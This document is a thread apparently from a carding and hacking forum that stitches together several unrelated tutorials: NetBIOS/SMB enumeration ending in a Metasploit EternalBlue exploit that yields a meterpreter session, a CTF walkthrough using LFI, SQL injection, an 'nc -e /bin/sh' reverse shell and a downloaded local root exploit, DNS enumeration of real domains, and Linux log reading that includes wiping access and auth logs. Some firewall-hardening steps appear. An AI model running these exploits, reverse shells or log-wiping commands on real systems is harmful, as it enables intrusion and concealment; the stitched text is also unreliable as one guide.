[Guide] How to NetBIOS and SMB Penetration Testing on Windows

[Guide] How to NetBIOS and SMB Penetration Testing on Windows - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to NetBIOS and SMB Penetration Testing on Windows (/Thread-Guide-How-to-NetBIOS-and-SMB-Penetration-Testing-on-Windows)

[Guide] How to NetBIOS and SMB Penetration Testing on Windows - NINZA - 05-10-2020

From Wikipedia
NetBIOS (Network Basic Input/Output System)
NetBIOS is a service which allows communication between applications such as a printer or other computer in Ethernet or token ring network via NetBIOS name.
NetBIOS name is 16 digits long character assign to a computer in the workgroup by WINS for name resolution of an IP address into NETBIOS name.
Workgroup VS Domain
Workgroup: It is a peer-to-peer network for a maximum of 10 computers in the same LAN or subnet. It has no Centralized Administration, which means no computer has control over another computer. Each user controls the resources and security locally on their system.
Domain: It is a client/server network for up to 2000 computers anywhere in the world. The administrator manages the domain and its users and resources. A user with an account on the domain can log onto any computer system, without having the account on that computer.
NetBIOS provides three distinct services:

Name service (NetBIOS-NS) for name registration and resolution via port 137.
Datagram distribution service (NetBIOS-DGM) for connection less communication via port 138.
Session service (NetBIOS-SSN) for connection-oriented communication via port 139.

Port
Protocol
Service
135
TCP
MS-RPC endpoint mapper
137
UDP
NetBIOS Name Service
138
UDP
NetBIOS Datagram Service
139
TCP
NetBIOS Session Service
445
TCP
SMB Protocol
Port 135: it is used for Microsoft Remote Procedure Call between client and server to listen to the query of the client. Basically, it is used for communication between client- client and server -client for sending messages.
Port 137: the name service operates on UDP port 137. The name service primitives offered by NetBIOS are:

Add name – registers a NetBIOS name.
Add group name – registers a NetBIOS “group” name.
Delete name – un-registers a NetBIOS name or group name.
Find name – looks up a NetBIOS name on the network.

Port 138: Datagram mode is connectionless; the application is responsible for error detection and recovery. In NBT, the datagram service runs on UDP port 138. The datagram service primitives offered by NetBIOS are:

Send Datagram – send a datagram to a remote NetBIOS name.
Send Broadcast Datagram – send a datagram to all NetBIOS names on the network.
Receive Datagram – wait for a packet to arrive from a Send Datagram operation.
Receive Broadcast Datagram – wait for a packet to arrive from a Send Broadcast Datagram operation.

Port 139: Session mode lets two computers establish a connection, allows messages to span multiple packets, and provides error detection and recovery. In NBT, the session service runs on TCP port 139.
The session service primitives offered by NetBIOS are:

Call – opens a session to a remote NetBIOS name.
Listen – listen for attempts to open a session to a NetBIOS name.
Hang Up – close a session.
Send – sends a packet to the computer on the other end of a session.
Send No Ack – like Send, but doesn’t require an acknowledgment.
Receive – wait for a packet to arrive from a Send on the other end of a session.

Port 445: It is used for SMB protocol (server message block) for sharing file between different operating system i.e. windows-windows, Unix-Unix and Unix-windows.
For mail details read our previous article given below:-

[To see content please register here]
[To see content please register here]
[To see content please register here]
[To see content please register here]

Scanning open port for NETBIOS Enumeration
We are using nmap for scanning target network for open TCP and UDP ports and protocol.
nmap -sT -sU 192.168.1.128
1
nmap -sT -sU 192.168.1.128
From the given image you can see that from the result of scan we found port 137 is open for NetBIOS name services, moreover got MAC address of target system.
[Image: 1.png?w=687&ssl=1]

What will happen if the admin shares a folder in a network?
Suppose we had given share permission to a specific folder (for example ignite as shown in given image) so that we can share that folder with another user in the local network then which port will involve in this process.
[Image: 2.png?w=687&ssl=1]

Now you can observe that we have got a link for our shared folder. Using that link anyone can access this folder in that network, hence it means now a new port must be activated for establishing a connection in order to access a shared folder on another system, let find out it.
[Image: 3.png?w=687&ssl=1]

Now again taking the help of nmap for scanning the target one more time.
nmap -sT -sU 192.168.1.128
1
nmap -sT -sU 192.168.1.128
From the result of scanning, you can observe that after sharing a folder we found port 135, 139 and 445 get activated.
Hence only by sharing a single folder in the network, three ports get opened simultaneously in the target system for communication with another system.
[Image: 4.png?w=687&ssl=1]

Through computer > properties, the user can view basic information about their computer.
As you can perceive we are sharing the image of victims control panel home which is showing his system basic information such as computer name, workgroup and etc.
[Image: 5.png?w=687&ssl=1]

The same information can be enumerated with another system in that network using the following command:
nbtstat -a 192.168.1.128
1
nbtstat -a 192.168.1.128
Hence you can read the information from inside NetBIOS remote machine name table we had enumerated the same information as shown in the above image.
[Image: 6.png?w=687&ssl=1]

Apply filter on port 135-139 with firewall
For increasing security of your system in your local network, you can add a filter on port 137 with help of window firewall. Because port series from 135 to 139 are most vulnerable therefore administrator can block either whole series or a specific port.
Select Inbound Rules and click on New Rule.
[Image: 7.png?w=687&ssl=1]

The select radio button for the port which will create a new rule that controls connections for a TCP or UDP port.
Then click on next.
[Image: 8.png?w=687&ssl=1]

Select UDP port to apply the rule on it.
Edit port 137 as specific local port then click on next. Here you can add complete series also for example 135,137,138,139.
[Image: 9.png?w=687&ssl=1]

Choose to Block the connection as an action to be taken when a connection matches the specified condition.
Hence it will not allow traffic on port 137 for communication as a result if the attacker will scan the victim system he will not able to find the NetBIOS name of the target system.
Click on next.
[Image: 10.png?w=687&ssl=1]

At last, provide a caption to the new rule of your choice (as shown in image block nbtstat) and then click on Finish and you will see new filter/rule will be added into windows firewall.
[Image: 11.png?w=687&ssl=1]

Now scan target system using the previous command
nbtstat -a 192.168.1.128
1
nbtstat -a 192.168.1.128
This time it will not give any information related to NetBIOS. Form given image you can read the message “Host is not found.
Conclusion: Hence by blocking 137 admin has added a security level that will hide the NetBIOS name of his system (192.168.1.128) in the local network.
[Image: 12.png?w=687&ssl=1]

Access Share folder via port 139
Now let’s try to access the shared folder of the target (192.168.1.128) using the run command prompt. From given image, you can observe that we are able to access to ignite folder. It is possible due to service “NetBIOS session service” running on port 139.
[Image: 13.png?w=687&ssl=1]

Block port 139
Similarly again use firewall inbound rule to block port 139, so that we can verify its impact on sharing information between two or more system. This will add a new in the firewall to stop the traffic coming on port 139.
[Image: 14.png?w=687&ssl=1]

Now again let’s try to access share folder of the target (192.168.1.128) when port 139 is blocked by him and figure out whether we are able to access the shared folder “ignite” or not using run command prompt.
From given image, you can see that we are able to access to ignite folder when the port 139 has been blocked by admin in his network.
Conclusion: Although port 139 was blocked but still sharing was possible due to the running protocol on port 445. Hence by blocking port 137 and 139 admin has added a security level that will prevent NetBIOS session service as well as NetBIOS name service for NetBIOS enumeration.
[Image: 15.png?w=687&ssl=1]

Mainly in many organization, port series from 135 to 139 are blocked in the network for security reasons, therefore port 445 is used for sharing data in the network. Now identify whether it is vulnerable to MS17-010 using Metasploit as shown in the given image.
use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128
msf auxiliary(smb_ms17_010) > set rport 445
msf auxiliary(smb_ms17_010) > exploit
1
2
3
4
use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128
msf auxiliary(smb_ms17_010) > set rport 445
msf auxiliary(smb_ms17_010) > exploit
From the result we found a host is vulnerable to MS17-010, hence we can exploit the target easily.
For more scanning method read our previous article from

[To see content please register here]

use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.1.128
msf exploit(ms17_010_eternalblue) >set rport 445
msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.115
msf exploit(ms17_010_eternalblue) > exploit
1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.1.128
msf exploit(ms17_010_eternalblue) >set rport 445
msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.115
msf exploit(ms17_010_eternalblue) > exploit
This will exploit the target system and give a meterpreter session of the targeted system as shown in the given image.
Conclusion: Enumeration plays an important role in network penetration testing because it will fetch out hidden information of a victim’s system as well as identify the weakness that may help in exploiting the system.
[Image: 17.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as 6days. The credit for making this vm machine goes to “CanYouPwn.Me” and it is another boot2root challenge where we have to execute flag file to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.18 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration
nmap -sV 192.168.0.18
[Image: 2.png?w=687&ssl=1]

We find port is 80 open, so we open this ip on our browser.
[Image: 3.png?w=687&ssl=1]

This page maybe vulnerable to SQL injection but a WAF is implemented to protect it. So we take a look at the source at the source code for further information.
[Image: 4.png?w=687&ssl=1]

We find that this page maybe vulnerable to LFI and RFI so we use curl to implement our attack.
[Image: 5.png?w=687&ssl=1]

We find that LFI is working on this site. Now we take a look at the config file to find the name of the database.
[Image: 6.png?w=687&ssl=1]

Taking a look at the config file we found that it accessible through localhost. So we use SQL injection with LFI to access the database. Port 80 had WAF so we use 8080 to access the localhost.
[Image: 7.png?w=687&ssl=1]

We find a username and password. We know that ssh is open so we try this username and password to login through ssh.
ssh [email protected]
[Image: 8.png?w=687&ssl=1]

Now we are connected through ssh, but when we try to run commands it seems like no command is working. It is possible that output is redirected to null. So we use netcat to get a reverse shell
First we set up a listener on our system first.
nc -lvp 1234
[Image: 9.png?w=687&ssl=1]

No we try to connect using netcat reverse shell
nc -e /bin/sh 192.168.0.18 1234
[Image: 10.png?w=687&ssl=1]

When we got the shell we see that we can see the output of the commands. We also find that the OS is Ubuntu 12.04, which is vulnerable to overlays exploit.
[Image: 11.png?w=687&ssl=1]

So we move to /tmp/ folder and download overlays exploit and save it as exploit.c
cd /tmp/
wget

[To see content please register here]

–no-check-certificate
mv 37292 exploit.c
[Image: 12.png?w=687&ssl=1]

We compile the file and save it as exploit. We give it executable permission then run the file.
gcc –o exploit exploit.c
chmod 777 exploit
./exploit
[Image: 13.png?w=687&ssl=1]

Now we have root access. When we go back we find an executable file called flag.
[Image: 14.png?w=687&ssl=1]

When we run the executable file it shows us a congratulation message stating we completed the challenge.
[Image: 15.png?w=687&ssl=1]

Today we are going to perform DNS enumeration with Kali Linux platform only. It has an in-built tool for DNS enumeration. For this tutorial, you must be aware of DNS server and its records, if you are not much aware of DNS then read our previous article “

[To see content please register here]

”.
Nmap
The following command will try to discover hosts’ services using the DNS Service Discovery protocol. It sends a multicast DNS-SD query and collects all the responses.
The script first sends a query for _services._dns-sd._udp.local to get a list of services. It then sends a follow-up query for each one to try to get more information.
nmap --script=broadcast-dns-service-discovery

[To see content please register here]

1
nmap --script=broadcast-dns-service-discovery

[To see content please register here]

From the given screenshot, you can observe the running service on a DNS server.
[Image: 0.png?w=687]

Following command will try to enumerate DNS hostnames by brute force guessing of common subdomains. With the dns-brute.srv argument, dns-brute will also try to enumerate common DNS SRV records.
Wildcard records are listed as “*A” and “*AAAA” for IPv4 and IPv6 respectively.
nmap -T4 -p 53 --script dns-brute

[To see content please register here]

1
nmap -T4 -p 53 --script dns-brute

[To see content please register here]

From the screenshot, you can observe DNS hostname
[Image: 1.1.png?w=687]

By default, the DNS server performs recursive queries on behalf of its DNS clients and DNS servers that have forwarded DNS client queries to it
Attackers can use recursion to deny the DNS Server service. Therefore, if a DNS server in your network is not intended to receive recursive queries, recursion should be disabled on that server
Following command will Checks if a DNS server allows queries for third-party names. It is expected that recursion will be enabled on your own internal nameservers.
From //technet.microsoft.com
nmap -Pn -sU -p 53 --script=dns-recursion 192.168.1.150
1
nmap -Pn -sU -p 53 --script=dns-recursion 192.168.1.150
As result, you can observe that recursion is enabled on the targeted system
[Image: 1.2.png?w=687]

The following command will enumerate various common service (SRV) records for a given domain name. The service records contain the hostname, port and priority of servers for a given service. The following services are enumerated by the script: – Active Directory Global Catalog – Exchange Autodiscovery – Kerberos KDC Service – Kerberos Passwd Change Service – LDAP Servers – SIP Servers – XMPP S2S – XMPP C2S
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='google.com'"
1
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='google.com'"
[Image: 2.png?w=687]

DNSEnum
Multithreaded Perl script to enumerate DNS information of a domain and to discover non-contiguous IP blocks.
OPERATIONS:

Get the host’s address (A record).
Get the nameservers (threaded).
Get the MX record (threaded).
Perform axfr queries on nameservers and get BIND VERSION (threaded).
Get extra names and subdomains via google scraping (google query = “allinurl: -www site:domain”).
Brute force subdomains from a file can also perform recursion on a subdomain that has NS records (all threaded).
Calculate C class domain network ranges and perform whois queries on them (threaded).
Perform reverse lookups on netranges ( C class or/and whois netranges) (threaded).
Write to domain_ips.txt file IP-blocks.

The following command will avoid enumeration of reverse lookup and save the output result into XML format.
dnsenum --noreverse -o mydomain.xml hackingarticles.in
1
dnsenum --noreverse -o mydomain.xml hackingarticles.in
[Image: 3.png?w=687]

DNSRecon
DNSRecon provides the ability to perform:

Check all NS Records for Zone Transfers
Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT)
Perform common SRV Record Enumeration. Top Level Domain (TLD) Expansion
Check for Wildcard Resolution
Brute Force subdomain and host A and AAAA records are given a domain and a wordlist
Perform a PTR Record lookup for a given IP Range or CIDR
Check a DNS Server Cached records for A, AAAA and CNAME Records provided a list of host records in a text file to check
Enumerate Common DNS records in the Local Network Enumerate Hosts and Subdomains using Google

The following command will enumerate DNS record of targeted website
dnsrecon -d hackingarticles.in
1
dnsrecon -d hackingarticles.in
You can observe the result from given below image.
[Image: 4.png?w=687]

Fierce
Fierce is a reconnaissance tool. Fierce is a PERL script that quickly scans domains (usually in just a few minutes, assuming no network lag) using several tactics.
Type following command for DNS enumeration on the targeted website
fierce -dns hackingarticles.in
1
fierce -dns hackingarticles.in
From the screenshot, you can see that we have scanned almost the same result as from the above tools.
[Image: 5.png?w=687]

From Wikipedia
Logs
Log files are a standard tool for computer systems developers and administrators. They record the (W5) “what happened when by whom, where and why happened” of the system. This information can record faults and help their diagnosis.
Log Format
The Common Log Format also is known as the NCSA Common log format. Each line in a file stored in the Common Log Format has the following syntax:
[host; ident; authuser; date; request; status; bytes]
Example
127.0.0.1 user-identifier raj [30/Aug/2017:10:25:16 -0700] “GET /apache_pb.gif HTTP/1.0” 200 1068

A “–” in a field indicates missing data.
0.0.1is the IP address of the client (remote host) which made the request to the server.
User-identifier is the RFC 1413 identity of the client.
raj is the user id of the person requesting the document.
[30/Aug/2017:10:25:16 -0700] is the date, time, and time zone that the request was received
“GET /apache_pb.gif HTTP/1.0” is the request line from the client.
200is the HTTP status code returned to the client. 2xx is a successful response, 3xx a redirection, 4xx a client error, and 5xx a server error.
2326is the size of the object returned to the client, measured in bytes

Importance of log analysis
Logs play an important role in tracking each client computer’s activity and its communication with other computers and networks. Network or system administrator analysis log in order to keep an eye on your network for vulnerabilities that may enter in the network to access sensitive information in the form of security attacks. You might be able to identify who introduces risks and help that person to use better precautions.
Location of log files
Generally, in Linux or UNIX system logs are created under /var/log directory, here you will find some very important log file such as Apache, auth, MySQL, kernel, bootstrap, dmeg, apt and etc.
[Image: 1.png?w=687&ssl=1]

Some Important Types of Logs
Application log
The Application log contains events logged by applications or programs. For example, a database program might record a file error in the application log.
Apache: /var/log/apache
Samba: /var/log/samba
Mail: /var/log/
Mysql: /var/log/
For Example, let’s consider apache log files for analyzing its logs, there are two types of apache http server log files:

Apache Access Log File

Apache server records all incoming requests and all requests processed to a log file. Location and content of the access to log /var/log/apache/access.log.

Apache Error Log File

All apache2 errors information those are found during server requests is logged to this file. Location of error log /var/log/apache/error.log.
Now open apache2 log using the following command in terminal (UNIX system).
cd apache2
ls
1
2
cd apache2
ls
You can see all log files of apache2 as shown in the given image.
echo > access.log
1
echo > access.log
Using echo command I had deleted all previous logs from an inside access.log file so that we can read our recent logs for current activity.
[Image: 2.png?w=687&ssl=1]

As I had described above that apache2 will create logs for client activities on the browser. Therefore I had opened some web application like dvwa, BWapp and WordPress site in respective order and as result in same order log will be created inside apache2.
[Image: 4.png?w=687&ssl=1]

There are so many commands and tools used for log analyzing; among them, we had used only three command line utility cat, head and tail for reading logs.
From the given image you can see we have used the cat command to read log which begins with dvwa’s log and end on WordPress log.
cat is standard UNIX utility use for reading the content of the file. With help of cat command, you can view whole content inside any log file.
Syntax: cat [options] file name
cat access.log
1
cat access.log
[Image: 5.png?w=687&ssl=1]

the head is a program on UNIX and Unix-like systems used to display the beginning of a text file.
Syntax: head [options] filename
head access.log
1
head access.log
By default, the head will print the first 10 lines of its input to the standard output. Hence you can option [-n] for specific numbers of line. For example head – n 30 file name.
[Image: 6.png?w=687&ssl=1]

the tail is a program on UNIX and Unix-like systems used to display the tail end of a text file.
Syntax: tail [options] filename
tail access.log
1
tail access.log
From the given image you can perceive that it has shown log for WordPress at the end of the file.
[Image: 7.png?w=687&ssl=1]

A significant way of reading logs
Since tail reads end lines of the log file which consist information of recent activity of the client, therefore, we are going to take help tail’s option for reading log in a significant way.
By default, the tail will output the last 10 lines of its input to the standard output. Hence you can option [-n] for specific numbers of line. For example tail – n 30 file name.
tail -n 2 access.log
1
tail -n 2 access.log
From the given image you can see above command applied filter and read only two logs from recent records.
[Image: 8.png?w=687&ssl=1]

If you want to read multiple log files simultaneously then type the following command.
tail -n 2 access.log error.log
1
tail -n 2 access.log error.log
From the given image you can observe that it has shown two-two logs for each i.e. access log and error log.
[Image: 9.png?w=687&ssl=1]

Now apply the filter using grep command with the tail command for specific records of the log.
Syntax: tail [option] filename | grep “string” [option]
tail access.log | grep 200
1
tail access.log | grep 200
From the given image you can notice, it has highlighted log having a string as 200. Generally, for a network administrator, this command will reduce his/her effort while log analyzing because he/she can directly read those log where client or attacker has got successfully response from the server.
[Image: 10.png?w=687&ssl=1]

When the server is not able to give reply of a request made by the client it response through error 404 “not found”.
[Image: 11.png?w=687&ssl=1]

tail access.log | grep 404
1
tail access.log | grep 404
From the given image you can see it has highlighted log string 404 from a set of log records.
[Image: 12.png?w=687&ssl=1]

As you know on browser we had browsed web application DVWA, bWAPP and WordPress as respective sequences, therefore we get their log in the same sequence dvwa log at the top; bwapp log at middle and WordPress log at the end of access.log file
Log files are very large, reading them at ones will not possible for the administrator, therefore, he/she can use after and before option with grep as a filter for logs.
Syntax: tail [option] filename | grep -A [number of lines] “string”
tail access.log | grep -A 2 "bwapp"
1
tail access.log | grep -A 2 "bwapp"
Here -A stand for after, therefore it will filter 2 logs created after bwapp logs and hence it will indicate 2 logs of WordPress as shown in the given image.
[Image: 13.png?w=687&ssl=1]

Similarly, apply the filter using before parameter and type following command with a specific argument.
tail access.log | grep -B 2 "wordpress"
1
tail access.log | grep -B 2 "wordpress"
Here -B stands for before, therefore it will filter 2 logs created before WordPress logs and hence it will indicate 2 logs of bwapp as shown in the given image.
[Image: 14.png?w=687&ssl=1]

Auth Log
Auth.log file holds system authorization information; including user login attempts either successful or failure both type of log records as well as authentication method that were used for establishing a connection with the server, for example, SSH login between server and client
Location: /var/log
Again I had used echo command to remove all previous record from inside auth.log
echo>auth.log
1
echo>auth.log
[Image: 15.png?w=687&ssl=1]

Suppose the client uses putty for ssh login into the server.
[Image: 16.png?w=687&ssl=1]

If the client having a valid credential for ssh then he will get successfully login into the server. From the given image you can see I had successfully login into the server. Hence inside server auth.log file, it will create a new record for SSH login successful.
[Image: 17.png?w=687&ssl=1]

While in the next image you can read access denied message which means fail in login into an SSH server. Hence this time inside auth log again a new record will be created for SSH login failure.
[Image: 18.png?w=687&ssl=1]

Now let‘s read the whole records of the auth log file for above client activities using cat command.
cat auth.log
1
cat auth.log
From the given image you can read the logs for successful and failed login.
[Image: 19.png?w=687&ssl=1]

Vsftpd Log
Vsftd log holds system authentication log for FTP login records either success or failure.
Location: /var/log
I had deleted all previous logs using echo command and using WinSCP for FTP server login. You can observe that we had login successfully. Hence it will create a new record in vsftpd.log for client login successfully.
[Image: 20.png?w=687&ssl=1]

Now let’s verify it though vsftpd log file and use cat command for reading the whole file. From the given image you can observe it has created a record in the log file for client 192.168.0.104 is CONNECT.
cat vsftpd.log
1
cat vsftpd.log
[Image: 22.png?w=687&ssl=1]

System Log
syslog is a standard for system logs or message logging. The administrator may use syslog for system management and security auditing as well as general informational, analysis, and debugging messages. A wide variety of devices, such as printers, routers, and message receivers across many platforms use the syslog standard.
Location: /var/log
Use cat command for reading syslog as shown in the given image.
cat syslog
1
cat syslog
[Image: 23.png?w=687&ssl=1]

APT Log
The apt is a standard command-line tool in UNIX, which works for performing functions such as the installation of new software packages, upgrade of existing software packages, updating of the package list index, and even upgrading the entire Ubuntu system.
Location: /var/log
Hence apt contain its own log file for all new and previous installed software. It has two log file as:

log : /var/log/apt
log /var/log/apt

Now type the following command for reading history log of apt.
cat history.log
1
cat history.log
[Image: 24.png?w=687&ssl=1]

From the given image you can observe the result which contains information about software installation and updates.
It was a brief theory for reading logs in the simplest way.
[Image: 25.png?w=687&ssl=1]